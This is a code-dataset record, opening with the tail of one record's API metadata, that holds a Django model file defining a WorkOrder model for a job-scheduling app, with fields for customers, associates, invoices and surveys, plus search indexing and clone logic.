"models.files.File", "line_number": 310, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 310, "usage_type": "attribute"}, {"api_name": "models.files.File.data.op", "line_number": 311, "usage_type": "call"}, {"api_name": "models.files.File.data", "line_number": 311, "usage_type": "attribute"}, {"api_name": "models.files.File", "line_number": 311, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 311, "usage_type": "attribute"}]} {"seq_id": "23545663377", "text": "# -*- coding: utf-8 -*-\nimport csv\nimport phonenumbers\nimport pytz\nfrom freezegun import freeze_time\nfrom djmoney.money import Money\nfrom datetime import date, datetime, timedelta\nfrom django.core.cache import cache\nfrom django.contrib.humanize.templatetags.humanize import intcomma\nfrom django_fsm import FSMField, transition\nfrom django.conf import settings\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.contrib.postgres.search import SearchVector, SearchVectorField\nfrom django.db import models\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.utils import timezone\nfrom django.utils.text import Truncator\nfrom django.utils.translation import ugettext_lazy as _\nfrom djmoney.models.fields import MoneyField\nfrom djmoney.money import Money\nfrom shared_foundation.constants import WORKERY_APP_DEFAULT_MONEY_CURRENCY\nfrom shared_foundation.models import SharedUser\nfrom tenant_foundation.constants import UNASSIGNED_JOB_TYPE_OF_ID, JOB_TYPE_OF_CHOICES, WORK_ORDER_PAID_TO_CHOICES\nfrom tenant_foundation.utils import *\n\n\nclass WORK_ORDER_STATE:\n NEW = 'new'\n DECLINED = 'declined'\n PENDING = 'pending'\n CANCELLED = 'cancelled'\n ONGOING = 'ongoing'\n IN_PROGRESS = 'in_progress'\n COMPLETED_BUT_UNPAID = 'completed_and_unpaid'\n COMPLETED_AND_PAID = 'completed_and_paid'\n ARCHIVED = 'archived'\n\n\nclass WorkOrderManager(models.Manager):\n def delete_all(self):\n items = WorkOrder.objects.all()\n for item in items.all():\n item.delete()\n\n def partial_text_search(self, keyword):\n \"\"\"Function performs partial text search of various textfields.\"\"\"\n return WorkOrder.objects.filter(\n Q(indexed_text__icontains=keyword) |\n Q(indexed_text__istartswith=keyword) |\n Q(indexed_text__iendswith=keyword) |\n Q(indexed_text__exact=keyword) |\n Q(indexed_text__icontains=keyword)\n )\n\n def full_text_search(self, keyword):\n \"\"\"Function performs full text search of various textfields.\"\"\"\n # The following code will use the native 'PostgreSQL' library\n # which comes with Django to utilize the 'full text search' feature.\n # For more details please read:\n # https://docs.djangoproject.com/en/2.0/ref/contrib/postgres/search/\n return WorkOrder.objects.annotate(search=SearchVector(\n 'indexed_text',\n ),).filter(search=keyword)\n\n def get_by_associate_with_user_id(self, user_id):\n cache_key = 'associate_id_for_user_id_' + str(user_id)\n associate_id = cache.get(cache_key)\n if associate_id:\n return WorkOrder.objects.filter(associate__id=associate_id)\n\n associate = Associate.objects.filter(owner=obj).first()\n cache.set(cache_key, associate.id, None)\n return WorkOrder.objects.filter(associate__id=associate_id)\n\n\n@transaction.atomic\ndef increment_order_id_number():\n \"\"\"Function will generate a unique big-int.\"\"\"\n last_job_order = WorkOrder.objects.all().order_by('id').last();\n if last_job_order:\n return last_job_order.id + 1\n return 1\n\n\n@transaction.atomic\ndef get_todays_date(days=0):\n \"\"\"Returns the current date plus paramter number of days.\"\"\"\n return timezone.now() + timedelta(days=days)\n\n\nclass WorkOrder(models.Model):\n class Meta:\n app_label = 'tenant_foundation'\n db_table = 'workery_work_orders'\n verbose_name = _('Work Order')\n verbose_name_plural = _('Work Orders')\n default_permissions = ()\n permissions = (\n (\"can_get_orders\", \"Can get work orders\"),\n (\"can_get_order\", \"Can get work order\"),\n (\"can_post_order\", \"Can create work order\"),\n (\"can_put_order\", \"Can update work order\"),\n (\"can_delete_order\", \"Can delete work order\"),\n )\n\n objects = WorkOrderManager()\n id = models.BigAutoField(\n primary_key=True,\n default = increment_order_id_number,\n editable=False,\n db_index=True\n )\n\n #\n # FIELDS\n #\n\n customer = models.ForeignKey(\n \"Customer\",\n help_text=_('The customer of our order.'),\n related_name=\"work_orders\",\n on_delete=models.CASCADE\n )\n associate = models.ForeignKey(\n \"Associate\",\n help_text=_('The associate of our order.'),\n related_name=\"work_orders\",\n on_delete=models.CASCADE,\n blank=True,\n null=True\n )\n description = models.TextField(\n _(\"Description\"),\n help_text=_('A description of this job.'),\n blank=True,\n null=True,\n default='',\n )\n assignment_date = models.DateField(\n _('Assignment Date'),\n help_text=_('The date that an associate was assigned to the customer.'),\n blank=True,\n null=True\n )\n tags = models.ManyToManyField(\n \"Tag\",\n help_text=_('The category tags that this order belongs to.'),\n blank=True,\n related_name=\"%(app_label)s_%(class)s_tags_related\",\n )\n is_ongoing = models.BooleanField(\n _(\"Is ongoing\"),\n help_text=_('Track whether this order is ongoing job or one-time job.'),\n default=False,\n blank=True\n )\n is_home_support_service = models.BooleanField(\n _(\"Is Home Support Service\"),\n help_text=_('Track whether this order is a home support service request.'),\n default=False,\n blank=True\n )\n start_date = models.DateField(\n _('Start Date'),\n help_text=_('The date that this order will begin.'),\n blank=True,\n default=get_todays_date\n )\n completion_date = models.DateField(\n _('Completion Date'),\n help_text=_('The date that this order was completed.'),\n blank=True,\n null=True\n )\n hours = models.DecimalField(\n _(\"Hours\"),\n help_text=_('The total amount of hours worked on for this order by the associate.'),\n default=0,\n max_digits=7,\n decimal_places=1,\n blank=True,\n null=True\n )\n skill_sets = models.ManyToManyField(\n \"SkillSet\",\n help_text=_('The skill sets that belong to this order.'),\n blank=True,\n related_name=\"%(app_label)s_%(class)s_skill_sets_related\",\n )\n type_of = models.PositiveSmallIntegerField(\n _(\"Type Of\"),\n help_text=_('The type of job this is.'),\n default=UNASSIGNED_JOB_TYPE_OF_ID,\n choices=JOB_TYPE_OF_CHOICES,\n blank=True,\n )\n indexed_text = models.CharField(\n _(\"Indexed Text\"),\n max_length=2047,\n help_text=_('The searchable content text used by the keyword searcher function.'),\n blank=True,\n null=True,\n db_index=True,\n unique=True\n )\n comments = models.ManyToManyField(\n \"Comment\",\n help_text=_('The comments belonging to this order made by other people.'),\n blank=True,\n through='WorkOrderComment',\n related_name=\"%(app_label)s_%(class)s_order_comments_related\"\n )\n closing_reason = models.PositiveSmallIntegerField(\n _(\"Closing Reason\"),\n help_text=_('The reason for this job order closing.'),\n blank=True,\n null=True,\n default=0,\n )\n closing_reason_other = models.CharField(\n _(\"Closing Reason other\"),\n help_text=_('A specific reason this job order was closed.'),\n max_length=1024,\n blank=True,\n null=True,\n default='',\n )\n closing_reason_comment = models.CharField(\n _(\"Closing Reason comment\"),\n help_text=_('Details as to why the job was closed.'),\n max_length=1024,\n blank=True,\n null=True,\n default='',\n )\n latest_pending_task = models.ForeignKey(\n \"TaskItem\",\n help_text=_('The latest pending task of our job order.'),\n related_name=\"work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n activity_sheet = models.ManyToManyField(\n \"Associate\",\n help_text=_('The activity sheet items related to the associates who accepted or rejected this order.'),\n blank=True,\n through='ActivitySheetItem',\n related_name=\"%(app_label)s_%(class)s_activity_sheet_items_related\"\n )\n\n #\n # State\n #\n\n state = FSMField(\n _('State'),\n help_text=_('The state of this job order.'),\n default=WORK_ORDER_STATE.NEW,\n blank=True,\n db_index=True,\n )\n\n #\n # Satisfaction Survey & Score Fields\n #\n\n was_survey_conducted = models.BooleanField(\n _(\"Was Survey Conducted\"),\n help_text=_('Track whether survey was conducted post completion (if completed).'),\n default=False,\n blank=True\n )\n no_survey_conducted_reason = models.PositiveSmallIntegerField(\n _(\"No Survey Conducted Reason\"),\n help_text=_('The reason no survey was conducted.'),\n blank=True,\n null=True,\n # 1 = Other\n # 2 = Unable to reach client\n # 3 = Client did not want to complete survey\n )\n no_survey_conducted_reason_other = models.CharField(\n _(\"No Survey Conducted Reason (Other)\"),\n help_text=_('The specific reason this job order had no survey conducted.'),\n max_length=1024,\n blank=True,\n null=True,\n )\n was_job_satisfactory = models.BooleanField(\n _(\"Was job satisfactory?\"),\n help_text=_('Customer Survey Q1: Was the quality of the work satisfactory?'),\n default=True,\n blank=True\n )\n was_job_finished_on_time_and_on_budget = models.BooleanField(\n _(\"Was job finished on time and on budget?\"),\n help_text=_('Customer Survey Q2: Was the work completed on time and on budget?'),\n default=True,\n blank=True\n )\n was_associate_punctual = models.BooleanField(\n _(\"Was associate punctual?\"),\n help_text=_('Customer Survey Q3: Was the Associate Member punctual?'),\n default=True,\n blank=True\n )\n was_associate_professional = models.BooleanField(\n _(\"Was associate professional?\"),\n help_text=_('Customer Survey Q4: Was the Associate Member professional?'),\n default=True,\n blank=True\n )\n would_customer_refer_our_organization = models.BooleanField(\n _(\"Would customer refer our organization?\"),\n help_text=_('Customer Survey Q5: Would you refer Over55 to a friend of family member?'),\n default=True,\n blank=True\n )\n score = models.PositiveSmallIntegerField(\n _(\"Score\"),\n help_text=_('The score number earned at the completion of this date.'),\n default=0,\n blank=True,\n )\n\n #\n # Financial Fields\n #\n\n was_there_financials_inputted = models.BooleanField(\n _(\"Was there financials inputted?\"),\n help_text=_('Track whether financials where inputted.'),\n default=True,\n blank=True\n )\n invoice_paid_to = models.PositiveSmallIntegerField(\n _(\"Invoice Paid to\"),\n help_text=_('Whom was paid by the client for this invoice.'),\n choices=WORK_ORDER_PAID_TO_CHOICES,\n blank=True,\n null=True,\n )\n invoice_date = models.DateField(\n _('Invoice Date'),\n help_text=_('The date that this order was completed.'),\n blank=True,\n null=True\n )\n invoice_ids = models.CharField(\n _(\"Invoice ID(s)\"),\n help_text=_('A list of invoice ID values associated with this order.'),\n max_length=127,\n blank=True,\n null=True,\n default='',\n )\n invoice_quote_amount = MoneyField(\n _(\"Invoice Original Quote Amount\"),\n help_text=_('The original quote made by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_labour_amount = MoneyField(\n _(\"Invoice Labour Costs Amount\"),\n help_text=_('The amount charged for labour by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_material_amount = MoneyField(\n _(\"Invoice Material Costs Amount\"),\n help_text=_('The amount charged for material costs by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_other_costs_amount = MoneyField(\n _(\"Other Costs Amount\"),\n help_text=_('The amount charged for other costs by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_quoted_material_amount = MoneyField(\n _(\"Invoice Quoted Material Costs Amount\"),\n help_text=_('The quoted amount to charge for material costs by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_quoted_labour_amount = MoneyField(\n _(\"Invoice Quoted Labour Costs Amount\"),\n help_text=_('The quoted amount to charge for labour by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_quoted_other_costs_amount = MoneyField(\n _(\"Other Costs Amount\"),\n help_text=_('The quoted other costs amount to charge by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_total_quote_amount = MoneyField(\n _(\"Invoice Total Quoted Amount\"),\n help_text=_('The quoted amount to charge for material costs by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_sub_total_amount = MoneyField(\n _(\"Invoice Sub-Total Amount\"),\n help_text=_('The sub-total amount charged by the associate for this job. Essentially this is the sub-total without taxes.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_tax_amount = MoneyField(\n _(\"Invoice Tax Amount\"),\n help_text=_('The amount charged for taxes by the associate for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_total_amount = MoneyField(\n _(\"Invoice Total Amount\"),\n help_text=_('The total amount charged by the associate for this job. Essentially this is the sub-total with taxes'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_deposit_amount = MoneyField(\n _(\"Invoice Deposit Amount\"),\n help_text=_('The amount deposited.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_amount_due = MoneyField(\n _(\"Invoice Amount Due\"),\n help_text=_('The amount to be billed out for this invoice. This field is essentially `total` subtract `deposit`.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_service_fee_amount = MoneyField(\n _(\"Invoice Service Fee Amount\"),\n help_text=_('The invoice service fee amount that associate needs to pay.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_actual_service_fee_amount_paid = MoneyField(\n _(\"Invoice Actual Service Fee Amount Paid\"),\n help_text=_('The actual amount paid by the associate for service fee for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n invoice_service_fee = models.ForeignKey(\n \"WorkOrderServiceFee\",\n help_text=_('The service fee applied by the franchise on the total cost of this job order which will be paid by the associate member.'),\n related_name=\"work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n invoice_service_fee_payment_date = models.DateField(\n _('Invoice Service Fee Payment Date'),\n help_text=_('The date when the service fee was paid by the associate.'),\n blank=True,\n null=True,\n db_index=True\n )\n invoice_balance_owing_amount = MoneyField(\n _(\"Invoice Balance Owing Amount\"),\n help_text=_('The amount remaining to be paid by the associate for service fee for this job.'),\n max_digits=10,\n decimal_places=2,\n default_currency=WORKERY_APP_DEFAULT_MONEY_CURRENCY,\n default=Money(0,WORKERY_APP_DEFAULT_MONEY_CURRENCY),\n blank=True,\n )\n visits = models.PositiveSmallIntegerField(\n _(\"Visits\"),\n help_text=_('The the number of visits that were made between the customer and associate for this particular work order.'),\n default=1,\n blank=True,\n validators=[\n MinValueValidator(1),\n MaxValueValidator(100)\n ],\n )\n cloned_from = models.ForeignKey(\n \"self\",\n help_text=_('The original work order this order was cloned'),\n related_name=\"cloned_work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n\n #\n # ONGOING WORK ORDER\n #\n\n ongoing_work_order = models.ForeignKey(\n \"OngoingWorkOrder\",\n help_text=_('The ongoing work order that this work order is a part of.'),\n related_name=\"work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n\n #\n # SYSTEM\n #\n\n created = models.DateTimeField(auto_now_add=True, db_index=True)\n created_by = models.ForeignKey(\n SharedUser,\n help_text=_('The user whom created this order.'),\n related_name=\"created_work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n created_from = models.GenericIPAddressField(\n _(\"Created from\"),\n help_text=_('The IP address of the creator.'),\n blank=True,\n null=True\n )\n created_from_is_public = models.BooleanField(\n _(\"Is the IP \"),\n help_text=_('Is creator a public IP and is routable.'),\n default=False,\n blank=True\n )\n last_modified = models.DateTimeField(auto_now=True)\n last_modified_by = models.ForeignKey(\n SharedUser,\n help_text=_('The user whom last modified this order.'),\n related_name=\"last_modified_work_orders\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n last_modified_from = models.GenericIPAddressField(\n _(\"Last modified from\"),\n help_text=_('The IP address of the modifier.'),\n blank=True,\n null=True\n )\n last_modified_from_is_public = models.BooleanField(\n _(\"Is the IP \"),\n help_text=_('Is modifier a public IP and is routable.'),\n default=False,\n blank=True\n )\n\n #\n # FUNCTIONS\n #\n\n def __str__(self):\n return str(self.pk)\n\n def get_skill_sets_string(self):\n # Attach all the skill sets that are associated with each job.\n skill_set_count = self.skill_sets.count() - 1\n skill_set_string = \"\"\n for i, skill_set in enumerate(self.skill_sets.all()):\n\n skill_set_string += skill_set.sub_category\n\n if i != skill_set_count:\n skill_set_string += \"|\"\n else:\n pass # Skip last\n return skill_set_string\n\n def get_tags_string(self):\n # Attach all the tags that are associated with each job.\n tag_count = self.tags.count() - 1\n tag_string = \"\"\n for i, tag in enumerate(self.tags.all()):\n\n tag_string += str(tag.text)\n\n if i != tag_count:\n tag_string += \"|\"\n else:\n pass # Skip last\n return tag_string\n\n # def get_pretty_state(self):\n # return dict(self.WORK_ORDER_STATE).get(self.state)\n\n def get_pretty_type_of(self):\n pretty_type_of = dict(JOB_TYPE_OF_CHOICES).get(self.type_of)\n\n if self.is_ongoing:\n pretty_type_of += \" (Ongoing)\"\n else:\n pretty_type_of += \" (One-time)\"\n return pretty_type_of\n\n def get_pretty_status(self):\n \"\"\"\n Function returns the job status in a more user-friendly format.\n \"\"\"\n if self.state == WORK_ORDER_STATE.PENDING:\n return 'Pending'\n elif self.state == WORK_ORDER_STATE.CANCELLED:\n if self.closing_reason == 2:\n return \"Cancelled - Quote was too high\"\n elif self.closing_reason == 3:\n return \"Cancelled - Job completed by someone else\"\n elif self.closing_reason == 5:\n return \"Cancelled - Work no longer needed\"\n elif self.closing_reason == 6:\n return \"Cancelled - Client not satisfied with Associate\"\n elif self.closing_reason == 7:\n return \"Cancelled - Client did work themselves\"\n elif self.closing_reason == 8:\n return \"Cancelled - No Associate available\"\n elif self.closing_reason == 9:\n return \"Cancelled - Work environment unsuitable\"\n elif self.closing_reason == 10:\n return \"Cancelled - Client did not return call\"\n elif self.closing_reason == 11:\n return \"Cancelled - Associate did not have necessary equipment\"\n elif self.closing_reason == 12:\n return \"Cancelled - Repair not possible\"\n elif self.closing_reason == 13:\n return \"Cancelled - Could not meet deadline\"\n elif self.closing_reason == 14:\n return \"Cancelled - Associate did not call client\"\n elif self.closing_reason == 15:\n return \"Cancelled - Member issue\"\n elif self.closing_reason == 16:\n return \"Cancelled - Client billing issue\"\n else:\n return \"Cancelled - Other: \"+str(self.closing_reason_other)\n elif self.state == WORK_ORDER_STATE.ONGOING:\n return 'Ongoing'\n elif self.state == WORK_ORDER_STATE.IN_PROGRESS:\n return 'In Progress'\n elif self.state == WORK_ORDER_STATE.COMPLETED_BUT_UNPAID:\n return 'Completed but unpaid'\n elif self.state == WORK_ORDER_STATE.COMPLETED_AND_PAID:\n return 'Completed and paid'\n elif self.state == WORK_ORDER_STATE.ARCHIVED:\n return 'Archived'\n elif self.state == WORK_ORDER_STATE.DECLINED:\n return 'Declined'\n elif self.state == WORK_ORDER_STATE.NEW:\n return 'New'\n else:\n return self.state\n\n return None\n\n def pretty_closing_reason(self):\n if self.closing_reason == 2:\n return \"Quote was too high\"\n elif self.closing_reason == 3:\n return \"Job completed by someone else\"\n elif self.closing_reason == 5:\n return \"Work no longer needed\"\n elif self.closing_reason == 6:\n return \"Client not satisfied with Associate\"\n elif self.closing_reason == 7:\n return \"Client did work themselves\"\n elif self.closing_reason == 8:\n return \"No Associate available\"\n elif self.closing_reason == 9:\n return \"Work environment unsuitable\"\n elif self.closing_reason == 10:\n return \"Client did not return call\"\n elif self.closing_reason == 11:\n return \"Associate did not have necessary equipment\"\n elif self.closing_reason == 12:\n return \"Repair not possible\"\n elif self.closing_reason == 13:\n return \"Could not meet deadline\"\n elif self.closing_reason == 14:\n return \"Associate did not call client\"\n elif self.closing_reason == 15:\n return \"Member issue\"\n elif self.closing_reason == 16:\n return \"Client billing issue\"\n else:\n return \"Other: \"+str(self.closing_reason_other)\n\n def get_pretty_invoice_paid_to(self):\n return dict(WORK_ORDER_PAID_TO_CHOICES).get(self.invoice_paid_to)\n\n \"\"\"\n Override the `save` function to support save cached searchable terms.\n \"\"\"\n def save(self, *args, **kwargs):\n '''\n The following code will populate our indexed_custom search text with\n the latest model data before we save.\n '''\n search_text = str(self.id)\n search_text += \" \" + intcomma(self.id)\n\n if self.description:\n search_text += \" \" + self.description\n\n if self.customer:\n if self.customer.organization:\n search_text += \" \" + self.customer.organization.name\n if self.customer.given_name:\n search_text += \" \" + self.customer.given_name\n if self.customer.middle_name:\n search_text += \" \" + self.customer.middle_name\n if self.customer.last_name:\n search_text += \" \" + self.customer.last_name\n if self.customer.email:\n search_text += \" \" + self.customer.email\n if self.customer.telephone:\n search_text += \" \" + phonenumbers.format_number(self.customer.telephone, phonenumbers.PhoneNumberFormat.NATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.customer.telephone, phonenumbers.PhoneNumberFormat.INTERNATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.customer.telephone, phonenumbers.PhoneNumberFormat.E164)\n if self.customer.other_telephone:\n search_text += \" \" + phonenumbers.format_number(self.customer.other_telephone, phonenumbers.PhoneNumberFormat.NATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.customer.other_telephone, phonenumbers.PhoneNumberFormat.INTERNATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.customer.other_telephone, phonenumbers.PhoneNumberFormat.E164)\n if self.customer.description:\n search_text += \" \" + self.customer.description\n search_text += \" \" + self.customer.get_postal_address()\n\n if self.associate:\n if self.associate.given_name:\n search_text += \" \" + self.associate.given_name\n if self.associate.middle_name:\n search_text += \" \" + self.associate.middle_name\n if self.associate.last_name:\n search_text += \" \" + self.associate.last_name\n if self.associate.email:\n search_text += \" \" + self.associate.email\n if self.associate.telephone:\n search_text += \" \" + phonenumbers.format_number(self.associate.telephone, phonenumbers.PhoneNumberFormat.NATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.associate.telephone, phonenumbers.PhoneNumberFormat.INTERNATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.associate.telephone, phonenumbers.PhoneNumberFormat.E164)\n if self.associate.other_telephone:\n search_text += \" \" + phonenumbers.format_number(self.associate.other_telephone, phonenumbers.PhoneNumberFormat.NATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.associate.other_telephone, phonenumbers.PhoneNumberFormat.INTERNATIONAL)\n search_text += \" \" + phonenumbers.format_number(self.associate.other_telephone, phonenumbers.PhoneNumberFormat.E164)\n if self.associate.description:\n search_text += \" \" + self.associate.description\n search_text += \" \" + self.associate.get_postal_address()\n\n if self.invoice_ids:\n search_text += \" \" + str(self.invoice_ids)\n\n self.indexed_text = Truncator(search_text).chars(2047)\n\n '''\n Run our `save` function.\n '''\n super(WorkOrder, self).save(*args, **kwargs)\n\n def clone(self):\n from tenant_foundation.models.activity_sheet_item import ActivitySheetItem\n # from tenant_foundation.models.comment import Comment\n # from tenant_foundation.models.work_order_comment import WorkOrderComment\n from tenant_foundation.models.work_order_deposit import WorkOrderDeposit\n\n # This process doesn’t copy relations that aren’t part of the model’s\n # database table. For example, WorkOrder has a ManyToManyField to\n # SkillSet. After duplicating an entry, we must set the many-to-many\n # relations for the new entry:\n old_tags = self.tags.all()\n old_skill_sets = self.skill_sets.all()\n # old_comments = self.comments.all()\n old_activity_sheets = ActivitySheetItem.objects.filter(job=self)\n old_deposits = WorkOrderDeposit.objects.filter(order=self)\n\n # DEVELOPERS NOTE:\n # The following code will take a full clone of our original instance.\n # Special thanks to: https://docs.djangoproject.com/en/2.2/topics/db/queries/#copying-model-instances\n cloned_order = self\n cloned_order.pk = None\n cloned_order.id = None\n cloned_order.save()\n\n # Remember where we cloned our object from.\n cloned_order.cloned_from = WorkOrder.objects.get(id=self.id)\n cloned_order.latest_pending_task = None # Tasks will not be included, reason why is: https://github.com/over55/workery-front/issues/366\n cloned_order.save()\n\n # Re-assign our many-to-many.\n cloned_order.tags.set(old_tags)\n cloned_order.skill_sets.set(old_skill_sets)\n\n # DEVELOPER NOTE: Commented out because https://github.com/over55/workery-front/issues/390\n # # Cannot set values on a ManyToManyField which specifies an\n # # intermediary model, as a result we'll have to create them here.\n # # Start with handling comments and then activity sheets.\n # for old_comment in old_comments:\n # with freeze_time(old_comment.created_at):\n # copy_comment = Comment.objects.create(\n # created_at=old_comment.created_at,\n # created_by=old_comment.created_by,\n # created_from = old_comment.created_from,\n # created_from_is_public = old_comment.created_from_is_public,\n # last_modified_at=old_comment.last_modified_at,\n # last_modified_by=old_comment.last_modified_by,\n # last_modified_from=old_comment.last_modified_from,\n # last_modified_from_is_public=old_comment.last_modified_from_is_public,\n # text=old_comment.text,\n #\n # )\n # WorkOrderComment.objects.create(\n # about=cloned_order,\n # comment=copy_comment,\n # )\n\n for old_activity_sheet in old_activity_sheets:\n with freeze_time(old_activity_sheet.created_at):\n copy_activity_sheet = ActivitySheetItem.objects.create(\n job = cloned_order,\n associate = old_activity_sheet.associate,\n comment = old_activity_sheet.comment,\n state = old_activity_sheet.state,\n created_at=old_activity_sheet.created_at,\n created_by=old_activity_sheet.created_by,\n created_from = old_activity_sheet.created_from,\n created_from_is_public = old_activity_sheet.created_from_is_public,\n )\n\n for old_deposit in old_deposits:\n with freeze_time(old_deposit.created_at):\n copy_old_deposit = WorkOrderDeposit.objects.create(\n order=cloned_order,\n paid_at=old_deposit.paid_at,\n deposit_method=old_deposit.deposit_method,\n paid_to=old_deposit.paid_to,\n paid_for=old_deposit.paid_for,\n amount=old_deposit.amount,\n created_by = old_deposit.created_by,\n created_from = old_deposit.created_from,\n created_from_is_public = old_deposit.created_from_is_public,\n last_modified_by = old_deposit.last_modified_by,\n last_modified_from = old_deposit.last_modified_from,\n last_modified_from_is_public = old_deposit.last_modified_from_is_public,\n )\n return cloned_order\n", "repo_name": "over55/workery-django", "sub_path": "workery/tenant_foundation/models/work_order.py", "file_name": "work_order.py", "file_ext": "py", "file_size_in_byte": 34226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Manager", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 50, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.postgres.search.SearchVector", "line_number": 62, "usage_type": "call"}, {"api_name": "django.core.cache.cache.get", "line_number": 68, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 68, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 73, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 73, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 77, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 89, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 89, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 86, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 92, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 96, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models.BigAutoField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 108, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 119, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 119, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 121, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 123, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 123, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 125, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 125, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 127, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 129, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 129, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 